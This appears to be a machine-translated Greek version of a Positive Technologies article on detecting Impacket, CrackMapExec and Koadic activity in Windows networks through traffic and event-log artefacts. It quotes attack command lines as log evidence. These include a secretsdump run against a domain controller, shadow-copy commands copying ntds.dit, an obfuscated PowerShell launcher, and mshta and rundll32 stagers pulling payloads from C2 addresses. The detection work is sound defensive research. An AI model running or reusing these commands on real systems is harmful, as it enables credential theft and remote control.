Πώς να ανιχνεύσετε επιθέσεις στην υποδομή των Windows: εξερεύνηση εργαλείων χάκερ

Πώς να ανιχνεύσετε επιθέσεις στην υποδομή των Windows: εξερεύνηση εργαλείων χάκερ

Ο αριθμός των επιθέσεων στον εταιρικό τομέα αυξάνεται κάθε χρόνο: για παράδειγμα το 2017 καταγράφηκαν 13% περισσότερα μοναδικά περιστατικά σε σχέση με το 2016 και στο τέλος του 2018 - 27% περισσότερα περιστατικάσε σχέση με την προηγούμενη περίοδο. Συμπεριλαμβανομένων εκείνων όπου το κύριο εργαλείο εργασίας είναι το λειτουργικό σύστημα Windows. Το 2017-2018, το APT Dragonfly, APT28, APT MuddyWater πραγματοποίησε επιθέσεις σε κυβερνητικούς και στρατιωτικούς οργανισμούς στην Ευρώπη, τη Βόρεια Αμερική και τη Σαουδική Αραβία. Και χρησιμοποιήσαμε τρία εργαλεία για αυτό - Μπουκέτο, CrackMapExec и Koadic. Ο πηγαίος κώδικας τους είναι ανοιχτός και διαθέσιμος στο GitHub.

Αξίζει να σημειωθεί ότι αυτά τα εργαλεία δεν χρησιμοποιούνται για αρχική διείσδυση, αλλά για ανάπτυξη επίθεσης εντός της υποδομής. Οι επιτιθέμενοι τα χρησιμοποιούν σε διαφορετικά στάδια της επίθεσης μετά τη διείσδυση της περιμέτρου. Αυτό, παρεμπιπτόντως, είναι δύσκολο να εντοπιστεί και συχνά μόνο με τη βοήθεια της τεχνολογίας εντοπισμός ιχνών συμβιβασμού στην κυκλοφορία του δικτύου ή εργαλεία που επιτρέπουν ανίχνευση ενεργών ενεργειών ενός εισβολέα αφού έχει διεισδύσει στην υποδομή. Τα εργαλεία παρέχουν μια ποικιλία λειτουργιών, από τη μεταφορά αρχείων έως την αλληλεπίδραση με το μητρώο και την εκτέλεση εντολών σε ένα απομακρυσμένο μηχάνημα. Πραγματοποιήσαμε μια μελέτη αυτών των εργαλείων για να προσδιορίσουμε τη δραστηριότητα του δικτύου τους.

Τι έπρεπε να κάνουμε:

  • Κατανοήστε πώς λειτουργούν τα εργαλεία hacking. Μάθετε τι πρέπει να εκμεταλλευτούν οι εισβολείς και ποιες τεχνολογίες μπορούν να χρησιμοποιήσουν.
  • Βρείτε τι δεν εντοπίζεται από τα εργαλεία ασφάλειας πληροφοριών στα πρώτα στάδια μιας επίθεσης. Η φάση αναγνώρισης μπορεί να παραλειφθεί, είτε επειδή ο εισβολέας είναι εσωτερικός εισβολέας είτε επειδή ο εισβολέας εκμεταλλεύεται μια τρύπα στην υποδομή που δεν ήταν προηγουμένως γνωστή. Γίνεται δυνατή η αποκατάσταση ολόκληρης της αλυσίδας των ενεργειών του, εξ ου και η επιθυμία να ανιχνευθεί περαιτέρω κίνηση.
  • Εξαλείψτε τα ψευδώς θετικά στοιχεία από τα εργαλεία ανίχνευσης εισβολής. Δεν πρέπει να ξεχνάμε ότι όταν ορισμένες ενέργειες εντοπίζονται βάσει αναγνώρισης και μόνο, είναι πιθανά συχνά λάθη. Συνήθως στις υποδομές υπάρχουν αρκετοί τρόποι, που δεν διακρίνονται από τους θεμιτούς εκ πρώτης όψεως, για να αποκτήσετε οποιαδήποτε πληροφορία.

Τι δίνουν αυτά τα εργαλεία στους επιτιθέμενους; Εάν αυτό είναι το Impacket, τότε οι εισβολείς λαμβάνουν μια μεγάλη βιβλιοθήκη από μονάδες που μπορούν να χρησιμοποιηθούν σε διαφορετικά στάδια της επίθεσης που ακολουθούν μετά το σπάσιμο της περιμέτρου. Πολλά εργαλεία χρησιμοποιούν εσωτερικά μονάδες Impacket - για παράδειγμα, το Metasploit. Διαθέτει dcomexec και wmiexec για απομακρυσμένη εκτέλεση εντολών, secretsdump για λήψη λογαριασμών από τη μνήμη που προστίθενται από το Impacket. Ως αποτέλεσμα, η σωστή ανίχνευση της δραστηριότητας μιας τέτοιας βιβλιοθήκης θα εξασφαλίσει την ανίχνευση των παραγώγων.

Δεν είναι τυχαίο ότι οι δημιουργοί έγραψαν το "Powered by Impacket" για το CrackMapExec (ή απλά το CME). Επιπλέον, το CME έχει έτοιμη λειτουργικότητα για δημοφιλή σενάρια: Mimikatz για την απόκτηση κωδικών πρόσβασης ή κατακερματισμού τους, υλοποίηση Meterpreter ή πράκτορα Empire για απομακρυσμένη εκτέλεση και Bloodhound επί του σκάφους.

Το τρίτο εργαλείο που επιλέξαμε ήταν το Koadic. Είναι αρκετά πρόσφατο, παρουσιάστηκε στο διεθνές συνέδριο χάκερ DEFCON 25 το 2017 και διακρίνεται για μια μη τυπική προσέγγιση: λειτουργεί μέσω HTTP, Java Script και Microsoft Visual Basic Script (VBS). Αυτή η προσέγγιση ονομάζεται live off the land: το εργαλείο χρησιμοποιεί ένα σύνολο εξαρτήσεων και βιβλιοθηκών ενσωματωμένων στα Windows. Οι δημιουργοί το ονομάζουν COM Command & Control ή C3.

IMPACKET

Η λειτουργικότητα του Impacket είναι πολύ ευρεία, από αναγνώριση εντός AD και συλλογή δεδομένων από εσωτερικούς διακομιστές MS SQL, έως τεχνικές απόκτησης διαπιστευτηρίων: πρόκειται για επίθεση αναμετάδοσης SMB και λήψη του αρχείου ntds.dit που περιέχει κατακερματισμούς των κωδικών πρόσβασης χρήστη από έναν ελεγκτή τομέα. Το Impacket εκτελεί επίσης εντολές εξ αποστάσεως χρησιμοποιώντας τέσσερις διαφορετικές μεθόδους: WMI, Windows Scheduler Management Service, DCOM και SMB και απαιτεί διαπιστευτήρια για να το κάνει.

Secretsdump

Ας ρίξουμε μια ματιά στο Secretsdump. Αυτή είναι μια λειτουργική μονάδα που μπορεί να στοχεύσει τόσο μηχανήματα χρήστη όσο και ελεγκτές τομέα. Μπορεί να χρησιμοποιηθεί για την απόκτηση αντιγράφων των περιοχών μνήμης LSA, SAM, SECURITY, NTDS.dit, ώστε να είναι ορατή σε διαφορετικά στάδια της επίθεσης. Το πρώτο βήμα στη λειτουργία της μονάδας είναι ο έλεγχος ταυτότητας μέσω SMB, ο οποίος απαιτεί είτε τον κωδικό πρόσβασης του χρήστη είτε τον κατακερματισμό του για να πραγματοποιήσει αυτόματα την επίθεση Pass the Hash. Στη συνέχεια ακολουθεί ένα αίτημα για άνοιγμα πρόσβασης στο Service Control Manager (SCM) και πρόσβαση στο μητρώο μέσω του πρωτοκόλλου winreg, χρησιμοποιώντας το οποίο ένας εισβολέας μπορεί να ανακαλύψει τα δεδομένα των υποκαταστημάτων ενδιαφέροντος και να λάβει αποτελέσματα μέσω SMB.

Στο Σχ. 1 βλέπουμε πώς ακριβώς όταν χρησιμοποιείται το πρωτόκολλο winreg, η πρόσβαση αποκτάται χρησιμοποιώντας ένα κλειδί μητρώου με LSA. Για να το κάνετε αυτό, χρησιμοποιήστε την εντολή DCERPC με τον κωδικό 15 - OpenKey.

Πώς να ανιχνεύσετε επιθέσεις στην υποδομή των Windows: εξερεύνηση εργαλείων χάκερ
Ρύζι. 1. Άνοιγμα κλειδιού μητρώου χρησιμοποιώντας το πρωτόκολλο winreg

Στη συνέχεια, όταν αποκτηθεί πρόσβαση στο κλειδί, οι τιμές αποθηκεύονται με την εντολή SaveKey με τον κωδικό 20. Το Impacket το κάνει αυτό με πολύ συγκεκριμένο τρόπο. Αποθηκεύει τις τιμές σε ένα αρχείο του οποίου το όνομα είναι μια συμβολοσειρά 8 τυχαίων χαρακτήρων που προσαρτώνται με .tmp. Επιπλέον, η περαιτέρω μεταφόρτωση αυτού του αρχείου πραγματοποιείται μέσω SMB από τον κατάλογο System32 (Εικ. 2).

Πώς να ανιχνεύσετε επιθέσεις στην υποδομή των Windows: εξερεύνηση εργαλείων χάκερ
Ρύζι. 2. Σχέδιο λήψης κλειδιού μητρώου από απομακρυσμένο μηχάνημα

Αποδεικνύεται ότι μια τέτοια δραστηριότητα στο δίκτυο μπορεί να εντοπιστεί με ερωτήματα σε ορισμένα υποκαταστήματα μητρώου χρησιμοποιώντας το πρωτόκολλο winreg, συγκεκριμένα ονόματα, εντολές και τη σειρά τους.

Αυτή η ενότητα αφήνει επίσης ίχνη στο αρχείο καταγραφής συμβάντων των Windows, γεγονός που καθιστά εύκολο τον εντοπισμό. Για παράδειγμα, ως αποτέλεσμα της εκτέλεσης της εντολής

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

Στο αρχείο καταγραφής του Windows Server 2016 θα δούμε την ακόλουθη βασική ακολουθία συμβάντων:

1. 4624 - απομακρυσμένη σύνδεση.
2. 5145 - έλεγχος δικαιωμάτων πρόσβασης στην απομακρυσμένη υπηρεσία winreg.
3. 5145 - έλεγχος δικαιωμάτων πρόσβασης αρχείων στον κατάλογο System32. Το αρχείο έχει το τυχαίο όνομα που αναφέρεται παραπάνω.
4. 4688 - δημιουργία μιας διαδικασίας cmd.exe που εκκινεί το vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - δημιουργία μιας διαδικασίας με την εντολή:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - δημιουργία μιας διαδικασίας με την εντολή:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - δημιουργία μιας διαδικασίας με την εντολή:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Όπως πολλά εργαλεία μετά την εκμετάλλευση, το Impacket διαθέτει μονάδες για την απομακρυσμένη εκτέλεση εντολών. Θα επικεντρωθούμε στο smbexec, το οποίο παρέχει ένα διαδραστικό κέλυφος εντολών σε ένα απομακρυσμένο μηχάνημα. Αυτή η ενότητα απαιτεί επίσης έλεγχο ταυτότητας μέσω SMB, είτε με κωδικό πρόσβασης είτε με κατακερματισμό κωδικού πρόσβασης. Στο Σχ. Στο Σχήμα 3 βλέπουμε ένα παράδειγμα του τρόπου λειτουργίας ενός τέτοιου εργαλείου, σε αυτήν την περίπτωση είναι η τοπική κονσόλα διαχειριστή.

Πώς να ανιχνεύσετε επιθέσεις στην υποδομή των Windows: εξερεύνηση εργαλείων χάκερ
Ρύζι. 3. Διαδραστική κονσόλα smbexec

Το πρώτο βήμα του smbexec μετά τον έλεγχο ταυτότητας είναι να ανοίξει το SCM με την εντολή OpenSCManagerW (15). Το ερώτημα είναι αξιοσημείωτο: το πεδίο MachineName είναι DUMMY.

Πώς να ανιχνεύσετε επιθέσεις στην υποδομή των Windows: εξερεύνηση εργαλείων χάκερ
Ρύζι. 4. Αίτημα για άνοιγμα του Service Control Manager

Στη συνέχεια, η υπηρεσία δημιουργείται χρησιμοποιώντας την εντολή CreateServiceW (12). Στην περίπτωση του smbexec, μπορούμε να βλέπουμε την ίδια λογική κατασκευής εντολών κάθε φορά. Στο Σχ. Το πράσινο 5 υποδεικνύει αμετάβλητες παραμέτρους εντολών, το κίτρινο υποδεικνύει τι μπορεί να αλλάξει ένας εισβολέας. Είναι εύκολο να δούμε ότι το όνομα του εκτελέσιμου αρχείου, ο κατάλογος του και το αρχείο εξόδου μπορούν να αλλάξουν, αλλά τα υπόλοιπα είναι πολύ πιο δύσκολο να αλλάξουν χωρίς να διαταραχθεί η λογική της μονάδας Impacket.

Πώς να ανιχνεύσετε επιθέσεις στην υποδομή των Windows: εξερεύνηση εργαλείων χάκερ
Ρύζι. 5. Ζητήστε να δημιουργήσετε μια υπηρεσία χρησιμοποιώντας το Service Control Manager

Το Smbexec αφήνει επίσης εμφανή ίχνη στο αρχείο καταγραφής συμβάντων των Windows. Στο αρχείο καταγραφής του Windows Server 2016 για το διαδραστικό κέλυφος εντολών με την εντολή ipconfig, θα δούμε την ακόλουθη βασική ακολουθία συμβάντων:

1. 4697 — εγκατάσταση της υπηρεσίας στο μηχάνημα του θύματος:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - δημιουργία της διαδικασίας cmd.exe με τα ορίσματα από το σημείο 1.
3. 5145 - έλεγχος δικαιωμάτων πρόσβασης στο αρχείο __output στον κατάλογο C$.
4. 4697 — εγκατάσταση της υπηρεσίας στο μηχάνημα του θύματος.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - δημιουργία της διαδικασίας cmd.exe με τα ορίσματα από το σημείο 4.
6. 5145 - έλεγχος δικαιωμάτων πρόσβασης στο αρχείο __output στον κατάλογο C$.

Το Impacket είναι η βάση για την ανάπτυξη εργαλείων επίθεσης. Υποστηρίζει σχεδόν όλα τα πρωτόκολλα στην υποδομή των Windows και ταυτόχρονα έχει τα δικά του χαρακτηριστικά χαρακτηριστικά. Ακολουθούν συγκεκριμένα αιτήματα winreg και η χρήση του API SCM με χαρακτηριστικό σχηματισμό εντολών και η μορφή του ονόματος αρχείου και το κοινόχρηστο SMB SYSTEM32.

CRACKMAPEXEC

Το εργαλείο CME έχει σχεδιαστεί κυρίως για να αυτοματοποιεί τις συνήθεις ενέργειες που πρέπει να εκτελέσει ένας εισβολέας για να προχωρήσει μέσα στο δίκτυο. Σας επιτρέπει να εργάζεστε σε συνδυασμό με τον γνωστό πράκτορα της Empire και τον Meterpreter. Για να εκτελεστούν κρυφά εντολές, το CME μπορεί να τις θολώσει. Χρησιμοποιώντας το Bloodhound (ένα ξεχωριστό εργαλείο αναγνώρισης), ένας εισβολέας μπορεί να αυτοματοποιήσει την αναζήτηση για μια περίοδο λειτουργίας ενεργού διαχειριστή τομέα.

Λαγωνικό

Το Bloodhound, ως αυτόνομο εργαλείο, επιτρέπει την προηγμένη αναγνώριση εντός του δικτύου. Συλλέγει δεδομένα σχετικά με χρήστες, μηχανές, ομάδες, συνεδρίες και παρέχεται ως σενάριο PowerShell ή δυαδικό αρχείο. Για τη συλλογή πληροφοριών χρησιμοποιούνται πρωτόκολλα που βασίζονται σε LDAP ή SMB. Η ενότητα ενσωμάτωσης CME επιτρέπει στο Bloodhound να μεταφορτωθεί στο μηχάνημα του θύματος, να τρέξει και να λάβει τα δεδομένα που συλλέγονται μετά την εκτέλεση, αυτοματοποιώντας έτσι τις ενέργειες στο σύστημα και καθιστώντας τις λιγότερο αισθητές. Το γραφικό κέλυφος Bloodhound παρουσιάζει τα δεδομένα που συλλέγονται με τη μορφή γραφημάτων, τα οποία σας επιτρέπουν να βρείτε τη συντομότερη διαδρομή από το μηχάνημα του εισβολέα προς τον διαχειριστή τομέα.

Πώς να ανιχνεύσετε επιθέσεις στην υποδομή των Windows: εξερεύνηση εργαλείων χάκερ
Ρύζι. 6. Διεπαφή Bloodhound

Για να εκτελεστεί στον υπολογιστή του θύματος, η μονάδα δημιουργεί μια εργασία χρησιμοποιώντας ATSVC και SMB. Το ATSVC είναι μια διεπαφή για εργασία με τον Προγραμματιστή εργασιών των Windows. Το CME χρησιμοποιεί τη λειτουργία NetrJobAdd(1) για τη δημιουργία εργασιών μέσω του δικτύου. Ένα παράδειγμα του τι στέλνει η μονάδα CME φαίνεται στην Εικ. 7: Αυτή είναι μια κλήση εντολής cmd.exe και ασαφής κώδικας με τη μορφή ορισμάτων σε μορφή XML.

Πώς να ανιχνεύσετε επιθέσεις στην υποδομή των Windows: εξερεύνηση εργαλείων χάκερ
Εικ.7. Δημιουργία εργασίας μέσω CME

Αφού η εργασία υποβληθεί για εκτέλεση, το μηχάνημα του θύματος εκκινεί το ίδιο το Bloodhound και αυτό φαίνεται στην κίνηση. Η ενότητα χαρακτηρίζεται από ερωτήματα LDAP για τη λήψη τυπικών ομάδων, μια λίστα με όλα τα μηχανήματα και τους χρήστες στον τομέα και τη λήψη πληροφοριών σχετικά με τις συνεδρίες ενεργών χρηστών μέσω του αιτήματος SRVSVC NetSessEnum.

Πώς να ανιχνεύσετε επιθέσεις στην υποδομή των Windows: εξερεύνηση εργαλείων χάκερ
Ρύζι. 8. Λήψη λίστας ενεργών περιόδων σύνδεσης μέσω SMB

Επιπλέον, η εκκίνηση του Bloodhound στον υπολογιστή ενός θύματος με ενεργοποιημένο τον έλεγχο συνοδεύεται από ένα συμβάν με αναγνωριστικό 4688 (δημιουργία διαδικασίας) και το όνομα της διαδικασίας «C:WindowsSystem32cmd.exe». Αυτό που είναι αξιοσημείωτο σε αυτό είναι τα ορίσματα της γραμμής εντολών:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Η ενότητα enum_avproducts είναι πολύ ενδιαφέρουσα από άποψη λειτουργικότητας και υλοποίησης. Το WMI σάς επιτρέπει να χρησιμοποιείτε τη γλώσσα ερωτημάτων WQL για την ανάκτηση δεδομένων από διάφορα αντικείμενα των Windows, κάτι που ουσιαστικά χρησιμοποιεί αυτή η λειτουργική μονάδα CME. Δημιουργεί ερωτήματα στις κατηγορίες AntiSpywareProduct και AntiМirusProduct σχετικά με τα εργαλεία προστασίας που είναι εγκατεστημένα στο μηχάνημα του θύματος. Προκειμένου να ληφθούν τα απαραίτητα δεδομένα, η λειτουργική μονάδα συνδέεται με τον χώρο ονομάτων rootSecurityCenter2, στη συνέχεια δημιουργεί ένα ερώτημα WQL και λαμβάνει μια απάντηση. Στο Σχ. Το Σχήμα 9 δείχνει τα περιεχόμενα τέτοιων αιτημάτων και απαντήσεων. Στο παράδειγμά μας, βρέθηκε το Windows Defender.

Πώς να ανιχνεύσετε επιθέσεις στην υποδομή των Windows: εξερεύνηση εργαλείων χάκερ
Ρύζι. 9. Δραστηριότητα δικτύου της ενότητας enum_avproducts

Συχνά, ο έλεγχος WMI (Trace WMI-Activity), στις εκδηλώσεις του οποίου μπορείτε να βρείτε χρήσιμες πληροφορίες σχετικά με τα ερωτήματα WQL, ενδέχεται να είναι απενεργοποιημένος. Αλλά εάν είναι ενεργοποιημένο, τότε εάν εκτελεστεί το σενάριο enum_avproducts, θα αποθηκευτεί ένα συμβάν με ID 11. Θα περιέχει το όνομα του χρήστη που έστειλε το αίτημα και το όνομα στον χώρο ονομάτων rootSecurityCenter2.

Κάθε μία από τις μονάδες CME είχε τα δικά της τεχνουργήματα, είτε πρόκειται για συγκεκριμένα ερωτήματα WQL είτε για τη δημιουργία ενός συγκεκριμένου τύπου εργασιών σε έναν προγραμματιστή εργασιών με συσκότιση και δραστηριότητα ειδική για το Bloodhound σε LDAP και SMB.

KOADIC

Ένα χαρακτηριστικό γνώρισμα του Koadic είναι η χρήση διερμηνέων JavaScript και VBScript που είναι ενσωματωμένοι στα Windows. Υπό αυτή την έννοια, ακολουθεί την τάση του life off the land trend - δηλαδή, δεν έχει εξωτερικές εξαρτήσεις και χρησιμοποιεί τυπικά εργαλεία των Windows. Πρόκειται για ένα εργαλείο πλήρους Command & Control (CnC), αφού μετά τη μόλυνση εγκαθίσταται στο μηχάνημα ένα «εμφύτευμα» που επιτρέπει τον έλεγχό του. Ένα τέτοιο μηχάνημα, στην Koadic ορολογία, ονομάζεται "ζόμπι". Εάν δεν υπάρχουν επαρκή προνόμια για πλήρη λειτουργία από την πλευρά του θύματος, η Koadic έχει τη δυνατότητα να τα αυξήσει χρησιμοποιώντας τεχνικές παράκαμψης ελέγχου λογαριασμού χρήστη (UAC bypass).

Πώς να ανιχνεύσετε επιθέσεις στην υποδομή των Windows: εξερεύνηση εργαλείων χάκερ
Ρύζι. 10. Koadic Shell

Το θύμα πρέπει να ξεκινήσει την επικοινωνία με τον διακομιστή Command & Control. Για να το κάνει αυτό, πρέπει να επικοινωνήσει με ένα URI που έχει προετοιμαστεί προηγουμένως και να λάβει το κύριο σώμα Koadic χρησιμοποιώντας έναν από τους σταδιακά. Στο Σχ. Το Σχήμα 11 δείχνει ένα παράδειγμα για το σταδιακό mshta.

Πώς να ανιχνεύσετε επιθέσεις στην υποδομή των Windows: εξερεύνηση εργαλείων χάκερ
Ρύζι. 11. Εκκίνηση μιας περιόδου λειτουργίας με τον διακομιστή CnC

Με βάση τη μεταβλητή απόκρισης WS, γίνεται σαφές ότι η εκτέλεση πραγματοποιείται μέσω του WScript.Shell και οι μεταβλητές STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE περιέχουν βασικές πληροφορίες σχετικά με τις παραμέτρους της τρέχουσας περιόδου λειτουργίας. Αυτό είναι το πρώτο ζεύγος αιτήματος-απόκρισης σε μια σύνδεση HTTP με διακομιστή CnC. Τα επόμενα αιτήματα σχετίζονται άμεσα με τη λειτουργικότητα των καλούμενων μονάδων (εμφυτεύματα). Όλες οι μονάδες Koadic λειτουργούν μόνο με μια ενεργή περίοδο λειτουργίας με CnC.

Mimikatz

Ακριβώς όπως το CME λειτουργεί με το Bloodhound, το Koadic συνεργάζεται με το Mimikatz ως ξεχωριστό πρόγραμμα και έχει πολλούς τρόπους για να το εκκινήσει. Ακολουθεί ένα ζεύγος αιτήματος-απόκρισης για τη λήψη του εμφυτεύματος Mimikatz.

Πώς να ανιχνεύσετε επιθέσεις στην υποδομή των Windows: εξερεύνηση εργαλείων χάκερ
Ρύζι. 12. Μεταγραφή του Mimikatz στην Koadic

Μπορείτε να δείτε πώς έχει αλλάξει η μορφή URI στο αίτημα. Τώρα περιέχει μια τιμή για τη μεταβλητή csrf, η οποία είναι υπεύθυνη για την επιλεγμένη ενότητα. Μην δίνεις σημασία στο όνομά της. Όλοι γνωρίζουμε ότι το CSRF συνήθως κατανοείται διαφορετικά. Η απάντηση ήταν το ίδιο κύριο σώμα του Koadic, στο οποίο προστέθηκε κώδικας που σχετίζεται με το Mimikatz. Είναι αρκετά μεγάλο, οπότε ας δούμε τα βασικά σημεία. Εδώ έχουμε τη βιβλιοθήκη Mimikatz κωδικοποιημένη στο base64, μια σειριακή κλάση .NET που θα την εισάγει και ορίσματα για την εκκίνηση του Mimikatz. Το αποτέλεσμα της εκτέλεσης μεταδίδεται μέσω του δικτύου σε καθαρό κείμενο.

Πώς να ανιχνεύσετε επιθέσεις στην υποδομή των Windows: εξερεύνηση εργαλείων χάκερ
Ρύζι. 13. Αποτέλεσμα λειτουργίας του Mimikatz σε απομακρυσμένο μηχάνημα

Exec_cmd

Το Koadic διαθέτει επίσης μονάδες που μπορούν να εκτελούν εντολές από απόσταση. Εδώ θα δούμε την ίδια μέθοδο δημιουργίας URI και τις γνωστές μεταβλητές sid και csrf. Στην περίπτωση της λειτουργικής μονάδας exec_cmd, προστίθεται κώδικας στο σώμα που έχει τη δυνατότητα να εκτελεί εντολές φλοιού. Παρακάτω εμφανίζεται ένας τέτοιος κώδικας που περιέχεται στην απόκριση HTTP του διακομιστή CnC.

Πώς να ανιχνεύσετε επιθέσεις στην υποδομή των Windows: εξερεύνηση εργαλείων χάκερ
Ρύζι. 14. Κωδικός εμφυτεύματος exec_cmd

Η μεταβλητή GAWTUUGCFI με το γνωστό χαρακτηριστικό WS απαιτείται για την εκτέλεση κώδικα. Με τη βοήθειά του, το εμφύτευμα καλεί το κέλυφος, επεξεργάζοντας δύο κλάδους κώδικα - το shell.exec με την επιστροφή της ροής δεδομένων εξόδου και το shell.run χωρίς επιστροφή.

Το Koadic δεν είναι ένα τυπικό εργαλείο, αλλά έχει τα δικά του τεχνουργήματα με τα οποία μπορεί να βρεθεί σε νόμιμη κυκλοφορία:

  • ειδικός σχηματισμός αιτημάτων HTTP,
  • χρησιμοποιώντας το winHttpRequests API,
  • δημιουργώντας ένα αντικείμενο WScript.Shell μέσω ActiveXObject,
  • μεγάλο εκτελέσιμο σώμα.

Η αρχική σύνδεση ξεκινά από τον σταδιακό, επομένως είναι δυνατός ο εντοπισμός της δραστηριότητάς του μέσω συμβάντων των Windows. Για mshta, αυτό είναι το συμβάν 4688, το οποίο υποδεικνύει τη δημιουργία μιας διεργασίας με το χαρακτηριστικό start:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Ενώ το Koadic εκτελείται, μπορείτε να δείτε άλλα 4688 συμβάντα με χαρακτηριστικά που το χαρακτηρίζουν απόλυτα:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Ευρήματα

Η τάση που ζει από τη γη κερδίζει δημοτικότητα μεταξύ των εγκληματιών. Χρησιμοποιούν τα εργαλεία και τους μηχανισμούς που είναι ενσωματωμένοι στα Windows για τις ανάγκες τους. Βλέπουμε τα δημοφιλή εργαλεία Koadic, CrackMapExec και Impacket που ακολουθούν αυτήν την αρχή να εμφανίζονται όλο και περισσότερο στις αναφορές APT. Ο αριθμός των πιρουνιών στο GitHub για αυτά τα εργαλεία αυξάνεται επίσης και εμφανίζονται νέα (υπάρχουν ήδη περίπου χίλια από αυτά τώρα). Η τάση κερδίζει δημοτικότητα λόγω της απλότητάς της: οι εισβολείς δεν χρειάζονται εργαλεία τρίτων· βρίσκονται ήδη σε μηχανήματα των θυμάτων και τα βοηθούν να παρακάμψουν τα μέτρα ασφαλείας. Εστιάζουμε στη μελέτη της επικοινωνίας δικτύου: κάθε εργαλείο που περιγράφεται παραπάνω αφήνει τα δικά του ίχνη στην κίνηση του δικτύου. Η λεπτομερής μελέτη τους μας επέτρεψε να διδάξουμε το προϊόν μας PT Network Attack Discovery τον εντοπισμό τους, κάτι που τελικά βοηθά στη διερεύνηση ολόκληρης της αλυσίδας περιστατικών στον κυβερνοχώρο που τους αφορούν.

Συγγραφείς:

  • Anton Tyurin, Επικεφαλής του Τμήματος Εξειδικευμένων Υπηρεσιών, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, ειδικός, PT Expert Security Center, Positive Technologies

Πηγή: www.habr.com

Προσθέστε ένα σχόλιο